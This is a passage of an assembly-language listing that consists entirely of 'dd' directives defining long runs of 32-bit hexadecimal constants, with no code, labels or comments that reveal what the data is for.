		dd 41AFAE6Fh, 62A55876h, 772F5D04h, 0A97419EBh,	0B4BD3457h
		dd 78E4C4CDh, 6500C4CFh, 99827CE6h, 3B56F483h, 75AC56DCh
		dd 51C4AB89h, 94D1C8E9h, 126F59F8h, 6565D0EBh, 40852BC5h
		dd 0CF3FDDB8h, 27BCEF6Bh, 0C5E22B1Bh, 725DAB7Ah, 0C402081h
		dd 755F3F51h, 2F5C7FC1h, 0D3BBEF51h, 29F37DF2h,	0B77E8E21h
		dd 0A10D27CEh, 0CA6B5935h, 0D388EB15h, 886302F4h, 0E6B5D123h
		dd 0CEED44A6h, 35FCF191h, 833FB456h, 55120047h,	0EDEAF03Dh
		dd 0C0E4073Ch, 36C61B0Ch, 6E3E857h, 803344DBh, 31FED695h
		dd 6B314CE2h, 9CFB5B8Bh, 1C16DC87h, 28341F2Ch, 0D742D5AEh
		dd 34BAC74Eh, 0D8F4F2Bh, 0A9D38381h, 0C8AD6499h, 35E88ECAh
		dd 0C55A1831h, 0D6565AC3h, 4F9C7538h, 310F1236h, 6A82451h
		dd 0EA2D93Ch, 7AB73F1h,	0AB131F24h, 0BCC78930h,	7AF497C2h
		dd 0A03A4BC8h, 0D93D4F0Ch, 0EB271A74h, 40CCAE10h, 0A936C230h
		dd 59B5E4CFh, 0EE9C3EE4h, 0A8D1F854h, 435DD606h, 0AE369990h
		dd 61E80B2h, 13C29D33h,	92531216h, 89A22D45h, 0E70F2581h
		dd 0B91146A5h, 0A21157D0h, 45EA5357h, 8CA207A8h, 9A929A1Dh
		dd 0BB5946B5h, 9E447E2Bh, 92B9F3F6h, 17A0DE78h,	1D680369h
		dd 0BA486562h, 90170C8Dh, 0B04F4C55h, 5B551F59h, 8824F4B4h
		dd 0DAD5D585h, 2BC8BD5Ch, 54058B6Ah, 585E9690h,	1410DE30h
		dd 16566EFFh, 13B0D2E0h, 1CC7DE9h, 4440C5F5h, 5BA1B7C4h
		dd 37D0557Dh, 9FFCB3CCh, 0CD53CBEFh, 2AE0BC41h,	98946226h
		dd 6E81395Eh, 96F79E3h,	75DBC545h, 2DD997A4h, 63048BB3h
		dd 0BFAF572Dh, 358AE703h, 8A3EE353h, 0A2A63001h, 980CB047h
		dd 3ABB0793h, 9A0AF562h, 0D76A179Eh, 0BDD171EEh, 1E006552h
		dd 0CA6558A1h, 1B7D69EBh, 41B23714h, 66624B60h,	661EB497h
		dd 823C3823h, 3A32717Dh, 32F6FF7Ah, 4E217903h, 81C2177h
		dd 0F537BCB9h, 3DD39B1Fh, 10AE9D9Fh, 6FBF3655h,	4BED608Fh
		dd 15090E1Ch, 7295777Ah, 85C4DC28h, 28597892h, 0D2743476h
		dd 8BA267A8h, 0F2A15131h, 0C16305ADh, 5A5CBFF4h, 5E3088E6h
		dd 3434185Dh, 0FE03E6C3h, 6772353h, 36449502h, 3C99C9B0h
		dd 0B1D4ED59h, 0D011E39Dh, 1015374Ah, 1EE90389h, 77C26B60h
		dd 327812A5h, 0A1B787F4h, 3ED1EACh, 8C7DAE56h, 32C881D4h
		dd 31051174h, 0A90F136Ah, 4DD6F372h, 0B66D21C2h, 53ABDF23h
		dd 37DA3B3Eh, 0DA0F210Ch, 5FDD8F20h, 0B116AC1Ah, 0BE762852h
		dd 26211B2Ah, 0C47AA9BCh, 0C9A1315Bh, 5210FE93h, 0C1825937h
		dd 94F1D67Fh, 14145526h, 8FDAFB6Dh, 0BA34A65Dh,	9987F670h
		dd 97C35227h, 1576A976h, 6A42AFA5h, 0B90D4F29h,	0B4BE07D0h
		dd 0FE1ADEE1h, 5DC121FEh
		dd 0AE6EF3B5h, 430770Bh, 14427496h, 0B5BF65D2h,	0DC5383AAh
		dd 1F566A9Dh, 3304DCBEh, 0A1F43817h, 0AE943926h, 0AB6D69ECh
		dd 2484D674h, 0AED5B652h, 0BEB6F98Eh, 0FB3D0165h, 0CD86E6F1h
		dd 0AC7FFADFh, 0FA665876h, 937CB308h, 0B2A2FA6Ch, 354A2BB2h
		dd 789E3221h, 0C9A87BFFh, 0D18BC1B9h, 680EEB68h, 5563FEB9h
		dd 0BEE2973Ch, 73DBD278h, 22AB5B95h, 0FA5F9DECh, 0C60E4F3Dh
		dd 0E1E9AC12h, 1790D74h, 27AEEB4Bh, 0B02A991Bh,	0CDE530C0h
		dd 388DB070h, 0E5E0A160h, 0AB19DF4Ch, 375FA697h, 0EAD7C3F0h
		dd 0B2AC2C58h, 48C1470Eh, 0F2D58B55h, 3AD4EFBCh, 35DF6F6Eh
		dd 1DF91CF1h, 314E8F7h,	0F9856072h, 0C7607F46h,	7BFA9406h
		dd 0AD9EF900h, 4860E837h, 6A67A2CAh, 0CAC2FC82h, 6944B102h
		dd 0E3C897C9h, 0A95673A8h, 42D22B21h, 3484C033h, 0F184FF3Bh
		dd 4B8D6DC9h, 1432F101h, 5BA4F25Bh, 0D5E7F938h,	9EE060D6h
		dd 0A602207Fh, 0F7F8672Ah, 0DAF5E69h, 0AC1AA60h, 0F154EE07h
		dd 0D41E22E2h, 7F032F73h, 0E3974BE1h, 9458983h,	0F344C368h
		dd 74DA659Fh, 5CD92757h, 1FEAACDh, 573C075Dh, 0D444B6ADh
		dd 0DFFB4C28h, 3ECEB1B0h, 0AB8B841Bh, 4736E574h, 5C511D0Bh
		dd 432BAC27h, 7F9F79C6h, 2F917503h, 0CEC749E8h,	0C3D79A51h
		dd 36BEB201h, 0B52D2157h, 0EA59F56h, 0B227C5EBh, 6CC25772h
		dd 9DA83E08h, 2CC80891h, 0C05EF94Eh, 51352A3Ah,	1CB6D75Ch
		dd 0C8D03F56h, 3F198FE9h, 0C7BA4254h, 8CEB87D7h, 6C68C314h
		dd 90871D05h, 4BA6DD57h, 7E1F2975h, 59F10EFEh, 0AB4919B3h
		dd 96E60122h, 0FC4B21B1h, 0B2F93427h, 7B07E40Ch, 800F0D16h
		dd 3C1435CAh, 77BF8D48h, 21B1B6ECh, 95D9D9ECh, 0E55D8541h
		dd 29ECBB71h, 45A07933h, 0A5B4E606h, 0C6687748h, 98EED993h
		dd 58828C02h, 6367CCB5h, 0CBB2AF91h, 0C723979h,	0B0021043h
		dd 46D3A808h, 48140187h, 652FC671h, 0C97642CBh,	9219565Eh
		dd 0A4B901A6h, 0F89E9C99h, 0B20A43DEh, 88F0DDC1h, 2070E2BEh
		dd 64034D8Bh, 0F4D590B6h, 0D4726F6Eh, 42869449h, 76844B61h
		dd 76094B54h, 4E5385C5h, 0AE135265h, 767B45D9h,	220F5997h
		dd 0D2FB8AAh, 0BDE6CD1Bh, 51A3AD4Bh, 0DE6F2A24h, 60613AA9h
		dd 0BCE02EFAh, 568961C7h, 10CB6E9Ch, 77B8B7E3h,	0B14AEFD8h
		dd 0EDD1FDF8h, 1D403B04h, 0E1FB4988h, 38824352h, 120D307Fh
		dd 0C02045BFh, 1EC8FB66h, 3E4AD376h, 0AE3C1F2Fh, 80011EF4h
		dd 0C0D367B6h, 92DEBC86h, 3D6FB607h, 1C9C268Eh,	0F4D58199h
		dd 0F654C00Fh, 5AB86EC7h, 9195AC3Ch, 0F8230D22h, 0B5C2B550h
		dd 24C0F327h, 0A32709E8h, 71E79939h, 0A8572DCCh, 5F1092A6h
		dd 5B913429h, 61132723h, 9800A5DBh, 862A3DC6h, 17C52608h
		dd 0A455F9A7h, 0ADDD6794h, 40BE0D4Eh, 0DC999175h, 8EC2AFEDh
		dd 0C4873104h, 0A79CDCEEh, 0E147CCBh, 5CBCB44Dh, 2FA8E99Ch
		dd 4FDC740Ah, 24589AEh,	0B6247171h, 0F60D0DCh, 0C81C2508h
		dd 1AEB0B21h, 56D69763h, 0C095F639h, 0A3B8E4F4h, 15D25E71h
		dd 940455AAh, 1D7E9154h, 0F7939CF2h, 3FA04066h,	0CF006001h
		dd 8EB00566h, 579FF104h, 0ABA34A0Ah, 7887D9DBh,	0E1F580FCh
		dd 4E815566h, 0F3D66885h, 6068D720h, 0E573F963h, 2FBAAF07h
		dd 83AC32C2h, 9AA90676h, 6C059F77h, 5CDF1E9Eh, 6B7883FAh
		dd 1436B1Dh, 0D843E5BAh, 99493826h, 2EB1773Ah, 74EDEE81h
		dd 0DA7F67C3h, 0BBA13AD0h, 0C9D2AA29h, 0FE711C07h, 6CA4EDD4h
		dd 201E694Dh, 2B05EADFh, 17882853h, 0D7F06E3Dh,	79726941h
		dd 7EB3BA8Bh, 187F625Ch, 0D49D043Fh, 32EAE424h,	0F6D45069h
		dd 620EADEEh, 45DFDD23h, 669B601Eh, 0C633D610h,	4D85A54Bh
		dd 6FBAE768h, 0ECE08980h, 20AF916Ah, 1C9D9351h,	97B2C98Fh
		dd 83D7D0AAh, 2EFF90Bh,	57A12414h, 8A04A982h, 0D3E1D454h
		dd 0F920260Eh, 0FD9DEF1Bh, 0DCDA0B4h, 59DACD57h, 45540F5Eh
		dd 0C1C11553h, 862862C4h, 0A644364Ch, 0C27B30B3h, 0AF097BDBh
		dd 0F8B4D706h, 1EADC605h, 6FA91C6Fh, 68C364Ah, 3A553CEFh
		dd 34F0B0E1h, 0E4719658h, 40CD1598h, 0AFFF3F4h,	78D8B60Ah
		dd 2C7E2263h, 5C9BE818h, 18833995h, 0CAC9268Ah,	0B0EA2C1h
		dd 2CF7673Eh, 5C5966DBh, 0A8825B14h, 3EE7079Dh,	49D953D8h
		dd 0BBC11D5Ch, 5D9B3BAh, 0F9AF748h, 64BCE937h, 9A4923Ah
		dd 0E7E49C8Dh, 0DD701DCBh, 0D7EC690Fh, 0A24BA535h, 75144FD6h
		dd 2E740DB2h, 0BA00087Eh, 47B75333h, 5E2DCCCEh,	590AA968h
		dd 0A50FA25Dh, 6AE431CEh, 985E2C0h, 0D2CC9034h,	0A80A8B66h
		dd 0CEC36688h, 37B331D1h, 4D87C863h, 6CF0BC04h,	0B172CB9Bh
		dd 98D1E739h, 4967E74Bh, 7ECD0420h, 0D6468114h,	64AF756Eh
		dd 0A3734009h, 145D7E74h, 0A3990604h, 9A62C48Eh, 0E513DEEFh
		dd 0E9A52DD4h, 0EC8782B9h, 0EE486971h, 0ADFB2942h, 444A359h
		dd 77C5CC92h, 7D7F42D5h, 2168F85Ah, 5D64B3C3h, 9BAD8378h
		dd 822A6128h, 0D5F6F361h, 2C7C6047h, 0E74CD822h, 78082FB8h
		dd 0F34A40BEh, 545F1A6Ch, 9F6463B2h, 0D8BC6ED9h, 45388Bh
		dd 0AADD6806h, 134BF268h, 0A6FC4AC7h, 7EA3A634h, 573902A0h
		dd 8C0EBE42h, 41A4221Bh, 406AE38Ch, 4AC34ECBh, 87AA2C17h
		dd 43FF260Eh, 8C320638h, 0B95ADB8Ah, 931BCB51h,	0A7A03131h
		dd 459840F7h, 4E5388D3h, 81210697h, 16F55DEEh, 902EF9C9h
		dd 6DE84D8Bh, 360DA90Ah, 2ABBC85Ch, 487DB698h, 18708F43h
		dd 0BDF4400Fh, 31569864h, 5C47C714h, 86BC1739h,	0FE262A25h
		dd 0C784069Dh, 0B8014954h, 4AFE6D85h, 748E7038h, 5B961B04h
		dd 0A015596Bh, 0E14193FDh, 526DE8C4h, 2714776Eh, 1025B43Dh
		dd 8F32234Ah, 0A30592E3h, 3B0C6C6Eh, 270F3E19h,	0C16C812Ah
		dd 7CBF6733h, 13505FF0h, 7915D0A8h, 0F45C2D71h,	0FC45A568h
		dd 5C1B9111h, 0A7ADAD95h, 5769F402h, 63DEAC65h,	33F1C829h
		dd 0BCFCC88Ch, 0BAEC861Bh, 0E49D49A8h, 0EFEB7E84h, 93A9DF45h
		dd 5A36C519h, 97C09216h, 4E0C7321h, 0CD6A8B7Bh,	2777E48h
		dd 0FCDCF94Bh, 0DA5AACDEh, 342A1B58h, 0D86BB4Dh, 2EAAC512h
		dd 0B60DBA1Bh, 83B20735h, 0CCC7EE16h, 0DCB56EC1h, 84EB9A75h
		dd 46F21410h, 29830399h, 25DA397Bh, 1CFF3595h, 0EE708BACh
		dd 9325A8E9h, 38B4BA3h,	0D5F33EFAh, 44CB1B73h, 510DD672h
		dd 688E5B14h, 0A4E8D24h, 9358AC8Fh, 69D72DBAh, 0CF2572C2h
		dd 991CB07Fh, 67257F25h, 6FB08761h, 0FE035053h,	3F3107B0h
		dd 172902A0h, 341656B9h, 5489D5E3h, 3E4606E6h, 302C3C08h
		dd 99D81EE3h, 476BF2E8h, 8D56124Dh, 8FAB54A9h, 0A122031Fh
		dd 0F298B733h, 0FE57610Eh, 0BFE9668Ah, 53512456h, 0BDA8DA9Eh
		dd 0E12D6126h, 703EE1C7h, 71C6299Ch, 4CBB7ADEh,	1327F73Fh
		dd 0A5D931ACh, 0A2893192h, 0BEEFDBFFh, 0E4BAE72Fh, 36BD588Bh
		dd 0FC648A07h, 19665718h, 0B9CFFC43h, 0E3745664h, 6DA05900h
		dd 404C28F5h, 0D164B61Ch, 0BF06EFB4h, 0AFAF4ACh, 0E459FBB4h
		dd 6E099768h, 0FB6BFBB2h, 0E2840FD1h, 0D1FA7C6Ch, 0ACB4B8F1h
		dd 5328E94Dh, 6700F5CCh, 0E670F09Dh, 0D8F69C17h, 0F9FC2F9Bh
		dd 5D01DE86h, 0AF5F37EEh, 92662215h, 0BCBA6A4Dh, 0F4233FD8h
		dd 0BEEF343h, 57EB987h,	64E65FD4h, 6BDD87BEh, 1210795Dh
		dd 0C80EB36Fh, 923BC6CAh, 0BCBD3655h, 6F0D70C5h, 0B2DF3D8Ch
		dd 8053260Ah, 6049D27Ah, 0C3FE9D5Eh, 32696EB4h,	45BA2D6Ch
		dd 0D93F6DFAh, 7C535B33h
		dd 719ECD5Fh, 0AD190A33h, 0F9D98372h, 911EE339h, 0AD74999Ah
		dd 88999C84h, 803CC04Fh, 9A050A29h, 71205065h, 5CBA470Ah
		dd 627FEA09h, 7E3CBC6Dh, 5ADDFC6Eh, 0F88F1D97h,	4764D1C2h
		dd 0C7417B74h, 81E23910h, 0F5D66A6Ah, 0C33A8240h, 902FE84Ch
		dd 0C91E4C51h, 85A4C911h, 80C9E4DFh, 0F3213125h, 1F2DFC8Dh
		dd 19996261h, 8644F7F7h, 76D5ACAh, 14C286D2h, 1DFB9D07h
		dd 0E8BF170Eh, 60AABE04h, 9696E38Ah, 0F5AE1DEh,	0D2AE5E5Fh
		dd 11D4EEFEh, 0B14DAC5Bh, 5E8EA23Fh, 0D3398158h, 0DE17A130h
		dd 0AC0E52A2h, 0E8DAE03Fh, 1710FFE5h, 693C7988h, 7A77A2CCh
		dd 4568D66Ah, 0C7558ED8h, 0A61B883Eh, 0B919D4E0h, 0D95652DCh
		dd 7FD61CF8h, 1A6B756h,	596040A2h, 62E0435Eh, 4E388B03h
		dd 0BCE88587h, 0C2FEAA0h, 8549A0FDh, 0D477EDA5h, 9FA6E3E7h
		dd 0C919F72Bh, 0E413E23Fh, 0E2B6D1F2h, 0A7E38506h, 1A40EF0h
		dd 92CC1B54h, 63C62C87h, 6A6CBB1Ch, 90928953h, 0E38653C7h
		dd 0E17F894Ch, 28CFD93h, 0FCEE9E33h, 0D11351C0h, 32765E3Eh
		dd 4E78DCF7h, 902C65ECh, 9A836867h, 47AA1C7Eh, 0C7D77A3Ah
		dd 0CB8533Bh, 56A0338Ch, 3927D234h, 8DF75F2Ch, 79D0F04Eh
		dd 5BBB9F10h, 4FE93CB0h, 232CDC1Dh, 0B9557849h,	521AF997h
		dd 0D973E102h, 925AF704h, 6B47756Fh, 410BB73Fh,	5D26B776h
		dd 0E94E70F6h, 91558019h, 5E5C251Ch, 20E35756h,	4EFCDA47h
		dd 30B0DBECh, 2D9453F3h, 0FA30932Ch, 29F29FD2h,	0B446883Eh
		dd 83B9AA7Ch, 76DE05F6h, 0A207C07Ch, 40DF9B32h,	79C80A95h
		dd 0B781851Fh, 0AAB9D8E9h, 20E9A376h, 0A75A6655h, 83D35F28h
		dd 14734F5Ah, 11885A03h, 0DC96E74Fh, 0AD746CD4h, 85C0C9B5h
		dd 41E1B0D3h, 12A27D9Ah, 5BFC1860h, 0DB069F7Fh,	7B5C3D6Bh
		dd 40A85532h, 0B6705F55h, 315FF579h, 835B7008h,	0DCE53AE1h
		dd 0B78235D6h, 0C95F09E3h, 6F430657h, 0E9F126A7h, 0C3C3FDECh
		dd 0B7A6188Fh, 0A217CA59h, 3BE9112Ah, 0B2A8E5BDh, 0BB082427h
		dd 3BB6E3E7h, 0B32FBEDFh, 6E5D7B96h, 0D9EF9CA7h, 18D27921h
		dd 48057242h, 836AB7C4h, 0E98FD24h, 0F6152F55h,	78A4D328h
		dd 627545BFh, 4B4F8B04h, 8E3ADF4Bh, 0EEBA0D28h,	27520BA0h
		dd 5596A693h, 149CECFBh, 9FB32B91h, 553CE4D2h, 0BEF0E80Ch
		dd 0D8A8997Bh, 2487B637h, 30218DE9h, 0C754CE2Ah, 0B0FA1110h
		dd 86779491h, 77654FA7h, 0F114757Dh, 7ABA7CF1h,	313CC841h
		dd 7441D01Bh, 5EDCD1C3h, 0EFC610BBh, 19666918h,	5AF77C56h
		dd 4F43D0C6h, 3DAC830h,	0CA9953F4h, 0C842B003h,	0DA0ABDEEh
		dd 63298899h, 5DFB1DA4h, 787E861Ch, 9EEEF676h, 52C66547h
		dd 0A771330Bh, 341371ECh, 0EBE88DB5h, 287568FFh, 0CEB6C055h
		dd 647C2A89h, 20858EC0h, 0D3A32EC6h, 0C784F7A8h, 4B9A7D9Ah
		dd 0CB85A955h, 0AB82E62h, 0EA4E68B0h, 5E8CA24h,	313727B3h
		dd 0A8DF2CC4h, 829A80B1h, 9A785078h, 0C41D249Dh, 9F75EA72h
		dd 4A74C32Bh, 0EF4DB775h, 75F1EA09h, 62424882h,	9BCAF693h
		dd 0F37353ABh, 18D73C23h, 0E5609A17h, 44A90C32h, 4992C2F3h
		dd 1266522Ah, 2F8DBBD9h, 6955CFA6h, 0ED9FF4ADh,	7B1A149h
		dd 81239A8Bh, 9757FE95h, 5434330Ch, 181494B2h, 287D7BEBh
		dd 21E899B2h, 464A9D52h, 25FA2BD8h, 0D246109Bh,	4EB9BC63h
		dd 59F2DC19h, 0D5D4CF8Bh, 855E4AEFh, 6EEC2508h,	0C87B78F6h
		dd 0BA58281Fh, 67EA1705h, 368C59E4h, 0C0278EE7h, 0C517CBA3h
		dd 0B6AA3A92h, 0B56CC65Ch, 3C71911Bh, 0B95A2CFEh, 0FEEB41h
		dd 1165102Dh, 9FC0BDEEh, 93D8ED7Fh, 0B427498Fh,	0DF570788h
		dd 0C4BD622Ch, 97E82CB2h, 0E54759B2h, 3884FA7Ah, 0D45DFE79h
		dd 0A3FE66C6h, 0CE4A273Ch, 0F5D5D58Dh, 2CCA0484h, 481BD8B8h
		dd 3BE7F3B2h, 22F90F13h, 0E7FC7041h, 366C1BCFh,	1D303C54h
		dd 8B5201Fh, 0D39FBFB4h, 0CF604A85h, 2887677Dh,	77A8B933h
		dd 24669AC5h, 0EEEB5418h, 0DF238B06h, 492E83CDh, 30E49EA2h
		dd 0E2E694BEh, 1040858Dh, 0A2F373D6h, 481FC061h, 4D53E6BDh
		dd 6E3C8051h, 4ADD8BE8h, 0DD7C9A72h, 0C38634D8h, 5DF4C941h
		dd 3AF572D5h, 300959EDh, 2BA6CBDFh, 98CFE014h, 0DC06BBF1h
		dd 8DED6F64h, 19AB601Eh, 0B18B91E4h, 0FD9BEDA4h, 77B78089h
		dd 1986820Ah, 1CC2D984h, 0E020F675h, 99B40A40h,	77B49573h
		dd 0FC951669h, 77DF802h, 28A507F4h, 1C3BE61Ch, 2C2DDD32h
		dd 0B4D84B7h, 0C021B29Bh, 37757C6Bh, 0F2398C7Ah, 7AEC5468h
		dd 80B41319h, 0CFB2AFA6h, 0D7E931C3h, 80CB5780h, 6E84272Ch
		dd 1B35D752h, 427E3FFAh, 2088C320h, 0AE35D1EAh,	78CE3B6Eh
		dd 0F7F450F5h, 0AF3D08C8h, 20C0CDE5h, 2562E5DCh, 70FC7FE3h
		dd 0A8CDC03Ah, 1AAC4DDEh, 64CAF395h, 0E6969F91h, 7C2D758Ch
		dd 1C21013Dh, 53E42396h, 417FB796h, 7672363h, 0BC683A3Eh
		dd 0E03F2B48h, 0B991BB84h, 1B97D62h, 52454AE0h,	4FD354CAh
		dd 7F7495BBh, 30EFCE5Fh, 39AED5C5h, 3FEFD077h, 0DBA31F0Dh
		dd 0D1F332BBh, 19A808CAh, 0D06ED314h, 8C531F5Fh, 10A119FEh
		dd 9C5D3CCFh, 5E599F18h, 888476FCh, 25DA570Dh, 43FB4964h
		dd 7AE2DD98h, 5828DD42h, 20CF9699h, 0B751FF41h,	0DB118ECAh
		dd 2C9BAEA9h, 0EAA97686h, 0F7F1D99Eh, 9EFFA1F2h, 65A97523h
		dd 0DC670EF5h, 0D323D52Bh, 205F4F78h, 9B5E0608h, 7DB7B61Bh
		dd 51760882h, 9C9AE70Dh, 0E241E7FCh, 0C376B85Fh, 1A70E953h
		dd 0AB305321h, 1092FE62h, 3FF6E69Ah, 43A1FDh, 0BA11D30Eh
		dd 5423EF78h, 8D5A53B7h, 0CF43EA60h, 0F125931Ch, 0E5CF19C0h
		dd 18C84AECh, 0CAEE3B37h, 48B48EE7h, 273A2037h,	7E7CC6DFh
		dd 0D4D2DBBCh, 0E5D9C513h, 74A14F92h, 0BC5D6446h, 1488ABE5h
		dd 2EEA0B63h, 45378F89h, 704ED4E8h, 9ADE81B7h, 0A0D7AF31h
		dd 5FAC3291h, 0E00E400Eh, 0A70B9463h, 0E8BF9122h, 0B57C37FDh
		dd 3653848Eh, 7D1845C0h, 6022EF3Ch, 0D2196A0Ch,	0D8C6D6CEh
		dd 28444116h, 0B0D5FE6Eh, 6FEDA81Ch, 9606F7C4h,	1F3F4991h
		dd 0F25BA295h, 2A92E280h, 16914145h, 0B020B550h, 4DC3AAEAh
		dd 3AC4D7C4h, 4DF752C4h, 0DF388B38h, 913B09Bh, 95458542h
		dd 0D82C5752h, 0FCA66B60h, 0E6A2B71Ah, 6617B271h, 0ED04990Eh
		dd 0E50993AAh, 6A2A60B0h, 91F49E54h, 0CFB4A5B8h, 0F3375C98h
		dd 0F9EF9327h, 0BDA107BAh, 836AC3D3h, 1E8CE6F0h, 53D69DA2h
		dd 0A526C916h, 145EB072h, 60B97625h, 1F17A241h,	0E3883AF5h
		dd 3B1E1584h, 429BE69h,	6CBBC807h, 5F17880Eh, 0C466704h
		dd 0FDDF6F0Bh, 73EE9C57h, 0DACCB434h, 0DF72F75h, 6F947A92h
		dd 291F0784h, 0A9AB57F5h, 7FE857C2h, 9A78CE1Ah,	80340000h
		dd 8F060D5Bh, 0DBB77C34h, 92AA05B4h, 10C6BEA3h,	0BC2DCA5Bh
		dd 6F353A85h, 0F00646E3h, 622B216Ch, 194C59CAh,	8F681C31h
		dd 0DCB8881Dh, 5604C3CDh, 0AD31A4C0h, 21AAF179h, 343DAE0Bh
		dd 98CA8F9Eh, 9FDAAF4Bh, 28F8320h, 0A9BC8074h, 3557B5B8h
		dd 77AE912Ch, 8E6FF5CCh, 0FD7EF0B1h, 0C87E1D74h, 7B7427BDh
		dd 0A84B56C4h, 1BCC0D69h, 0D912EB8Dh, 636964C1h, 0FA32345Ch
		dd 0F63119Ch, 0E8145973h, 0F9694722h, 0E966FADFh, 89782733h
		dd 0B762228Dh, 0B59F5D0Ah, 4C824197h, 0EBC535BCh, 0C5E1CA1Ch
		dd 1550E6A0h, 3CFD9FC3h, 433E1E83h, 0A0FEA2B8h,	695797E7h
		dd 21A04C67h, 0A1309580h, 646C45Fh, 0E4114847h,	165C6AF5h
		dd 0EAD2512h, 0A35CC908h
		dd 0BA990F50h, 9E26425Eh, 6840F2B2h, 19BD4D2Dh,	3A2BE6DCh
		dd 181C3611h, 0E1AA6411h, 20DCCFE0h, 844E45E0h,	0F15F4570h
		dd 842ACF54h, 637A71CEh, 8B69B1A4h, 0E0A82DBh, 0BA429C8Ch
		dd 0C522A869h, 13FE508Eh, 231ADB6h, 0A4A6FC0Dh,	174CFDB8h
		dd 0BBCE1C26h, 0A95FD04Dh, 26FB31FDh, 0CE3A14A8h, 26BFF827h
		dd 0ED774B4Bh, 0F3D6374Eh, 4EBCF44Ch, 145A4C75h, 67163560h
		dd 96197BB9h, 0C1AC3867h, 0F3335D32h, 69887E8Ah, 690C8E29h
		dd 24277A6Dh, 0B0B46C03h, 0B114B19Ah, 4DBF2E08h, 0F0DCD101h
		dd 743481C7h, 0C7FE70F8h, 91D25138h, 0C2A122C7h, 0D1BD777Ch
		dd 0BFEB2AEFh, 44877B26h, 69F1D1A0h, 218D58A2h,	0A310FDB3h
		dd 6B905665h, 61263E04h, 0ECD29A90h, 63FE1D9h, 0CBDA00DAh
		dd 0BE98F287h, 0ACC73A3Eh, 0A7E46D5Bh, 0F1F2F951h, 18AEB204h
		dd 8E00C80Ah, 4D565222h, 0C13D3006h, 3761993Fh,	0CC35C854h
		dd 271F632Ch, 0FB056FDDh, 6CCD6BDEh, 0FB420ABAh, 0B0BD5F9Eh
		dd 37B9754h, 618A591Ah,	0C169E283h, 66AF32CFh, 4CDE629Fh
		dd 26F97559h, 782B67h, 0E75401AAh, 0FF8BCC01h, 81B5337Eh
		dd 35F1F103h, 1FD5ADEBh, 867D4465h, 0A0657BE1h,	7F89CE9h
		dd 40339057h, 1B01D1E7h, 4747A2Bh, 7441FE7Ah, 6F59294Dh
		dd 1B0BB152h, 0E4588EAAh, 0D0A0ADE7h, 0A081586Ah, 0E326661Eh
		dd 39EB19Ch, 0D38D9367h, 3B402E15h, 9EAE4C97h, 0A82272AFh
		dd 0BC0B8A0Ch, 97796BA8h, 795DD04Ah, 694CC3B8h,	0A2FF0B8h
		dd 8370F37Ah, 0F15DA191h, 89E67D7Bh, 3C9B2EC9h,	82F4A406h
		dd 2D6C0C2h, 17432FAh, 0AC309B50h, 1CFFE8B0h, 2D5C82C4h
		dd 968E9993h, 0AF86D009h, 0D3CD60A7h, 0ED2A3AF9h, 0D02607D5h
		dd 2737BF1Ch, 0B71EDD40h, 0CE3D46F7h, 0A15DE7D9h, 0C02BC38Bh
		dd 0BEE0756h, 2CFD8BCh,	2FAC17F7h, 0BDBE44FDh, 14A192A9h
		dd 87063108h, 0D8C5AF24h, 99A1CADEh, 111CDDB0h,	93BB95EEh
		dd 3518F556h, 6A5DB563h, 77B88036h, 0A6B0A398h,	692ED1B7h
		dd 2F4CB31Ch, 686C49B2h, 0F20A981h, 0A2171B9Bh,	59A9080Dh
		dd 0CBBF9BE2h, 58E617D2h, 0D2E7A769h, 0C2C1C4E6h, 439AEE1Bh
		dd 0AA605179h, 5FDF2794h, 11607D5h, 0E283D8Ch, 6A0F766Fh
		dd 45E58AACh, 20312831h, 0F315AC70h, 0F1229F8Dh, 419392D2h
		dd 19CFA399h, 13B7A2DFh, 0E843E9E9h, 0D1F0AF58h, 0E4B7C62Ch
		dd 69F42268h, 0FB85CBF3h, 0F6F9F6B5h, 84EC4D51h, 465CE3C6h
		dd 863E6F82h, 7A835A52h, 0EB71CABCh, 0F0F6EE04h, 4D6FD6A2h
		dd 0A096CA30h, 0FB9E22DAh, 5646C503h, 0C30F58C4h, 0CDD11797h
		dd 48522601h, 4835814Ch, 7FD4B7BEh, 713C1CABh, 364222Ch
		dd 9EA0F71Fh, 8CDB8927h, 10BAC828h, 34C8E09Fh, 0DB3770F7h
		dd 2B4B7B54h, 7AFCCFC5h, 59DC54F6h, 0F1C2EB2Dh,	97E4717h
		dd 714C8B9Ch, 80DCCC26h, 0D2F9C92Ch, 0ED001A86h, 0BA761F4Bh
		dd 4B9CE63Bh, 9A95CD07h, 2A2D8818h, 6E8E5FEAh, 0BF6FB2F2h
		dd 7AC40645h, 0DF6AC1DAh, 89A36642h, 7854931Dh,	0EFB78117h
		dd 0BAB70BAEh, 0EB093889h, 187F81E6h, 0B636DB5Fh, 7390B723h
		dd 533B6471h, 8D4C220Fh, 7F28D671h, 38DF61E0h, 53A30B6h
		dd 53A375C1h, 880D83A5h, 0AF2EBFC1h, 0D9A97E31h, 5A241AABh
		dd 0CEA9DA4Dh, 0E23FECBBh, 4B860B9Ch, 36F81DDFh, 38C95BC3h
		dd 0B9CBA1DBh, 0ABD77FF6h, 68865DB6h, 0FD5E6050h, 0B8CA897Bh
		dd 0C981819Bh, 0A6979F76h, 0C1F8026Ah, 33EF967Bh, 0D2BD5FCEh
		dd 0DE902490h, 0CCB0497Ch, 2647E06Bh, 518EF745h, 0B1483A57h
		dd 993EF202h, 0ECFB1E4Fh, 5B9B92AEh, 2C23F7C7h,	0ABFC3EABh
		dd 0ACD04D53h, 5170A53h, 9E5BC616h, 9DF2EBA3h, 0D28DE7D2h
		dd 54C045E5h, 0C4EFBD56h, 0ECA922C2h, 43C84AAEh, 485C593h
		dd 0F3D6BD73h, 53CC9CC5h, 3698EF1Eh, 22EAF0E8h,	0DAFFA789h
		dd 45DD1CBBh, 7930627Dh, 0E498A0EAh, 871284BCh,	4FD17EB9h
		dd 76E78AE9h, 820AB24Fh, 882EE596h, 706CAE8h, 0B454FA65h
		dd 0B60DAE9Bh, 1D88A272h, 14E317EDh, 19F250B4h,	0EC76D463h
		dd 0FC3F41EAh, 0D13CAB13h, 4435278Ch, 78DC1ECh,	992D321Fh
		dd 4E741828h, 81E60BAEh, 0F5703D49h, 738923EAh,	1FABF729h
		dd 7F0E78BBh, 36A1FC3Fh, 54A9AF04h, 3FC03C80h, 1B673442h
		dd 3AC4A72Eh, 68DC5741h, 0D1372389h, 0E425D672h, 48592642h
		dd 6F03CA70h, 623EFADh,	0D06E3998h, 2BB9901h, 7208922Eh
		dd 0AF5C3A34h, 0D53ED6D8h, 56EBD917h, 0CB2D3C56h, 0EA398FDEh
